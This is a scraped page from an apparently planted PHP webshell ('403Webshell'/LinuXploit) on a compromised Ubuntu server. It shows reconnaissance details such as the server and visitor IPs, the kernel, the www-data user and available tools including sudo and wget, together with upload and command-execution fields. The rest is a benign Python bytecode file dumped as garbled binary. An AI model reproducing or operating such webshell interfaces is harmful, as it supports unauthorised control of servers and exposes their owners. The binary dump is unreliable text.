403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.12/importlib/metadata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.12/importlib/metadata/__pycache__/_text.cpython-312.pyc
�

�(�gv��.�ddlZddlmZGd�de�Zy)�N�)�method_cachec�h��eZdZdZd�Zd�Zd�Zd�Zd�Z�fd�Z	d�Z
e�fd	��Zd
�Z
dd�Z�xZS)
�
FoldedCasea{
    A case insensitive string class; behaves just like str
    except compares equal when the only variation is case.

    >>> s = FoldedCase('hello world')

    >>> s == 'Hello World'
    True

    >>> 'Hello World' == s
    True

    >>> s != 'Hello World'
    False

    >>> s.index('O')
    4

    >>> s.split('O')
    ['hell', ' w', 'rld']

    >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta']))
    ['alpha', 'Beta', 'GAMMA']

    Sequence membership is straightforward.

    >>> "Hello World" in [s]
    True
    >>> s in ["Hello World"]
    True

    You may test for set inclusion, but candidate and elements
    must both be folded.

    >>> FoldedCase("Hello World") in {s}
    True
    >>> s in {FoldedCase("Hello World")}
    True

    String inclusion works as long as the FoldedCase object
    is on the right.

    >>> "hello" in FoldedCase("Hello World")
    True

    But not if the FoldedCase object is on the left:

    >>> FoldedCase('hello') in 'Hello World'
    False

    In that case, use in_:

    >>> FoldedCase('hello').in_('Hello World')
    True

    >>> FoldedCase('hello') > FoldedCase('Hello')
    False
    c�D�|j�|j�kS�N��lower��self�others  �//usr/lib/python3.12/importlib/metadata/_text.py�__lt__zFoldedCase.__lt__C����z�z�|�e�k�k�m�+�+�c�D�|j�|j�kDSrr	rs  r�__gt__zFoldedCase.__gt__Frrc�D�|j�|j�k(Srr	rs  r�__eq__zFoldedCase.__eq__I����z�z�|�u�{�{�}�,�,rc�D�|j�|j�k7Srr	rs  r�__ne__zFoldedCase.__ne__Lrrc�4�t|j��Sr)�hashr
)rs r�__hash__zFoldedCase.__hash__Os���D�J�J�L�!�!rc�Z��t�|��j|j��Sr)�superr
�__contains__)rr
�	__class__s  �rrzFoldedCase.__contains__Rs ����w�}��+�+�E�K�K�M�:�:rc��|t|�vS)zDoes self appear in other?)rrs  r�in_zFoldedCase.in_Us���z�%�(�(�(rc� ��t�|��Sr)rr
)rrs �rr
zFoldedCase.lowerZs����w�}��rc�\�|j�j|j��Sr)r
�index)r�subs  rr$zFoldedCase.index^s���z�z�|�!�!�#�)�)�+�.�.rc��tjtj|�tj�}|j	||�Sr)�re�compile�escape�I�split)r�splitter�maxsplit�patterns    rr+zFoldedCase.splitas0���*�*�R�Y�Y�x�0�"�$�$�7���}�}�T�8�,�,r)� r)�__name__�
__module__�__qualname__�__doc__rrrrrrr!rr
r$r+�
__classcell__)rs@rrrsJ���9�v,�,�-�-�"�;�)�
����/�-rr)r'�
_functoolsr�strr�rr�<module>r8s��	�$�\-��\-r

Youez - 2016 - github.com/yon3zu
LinuXploit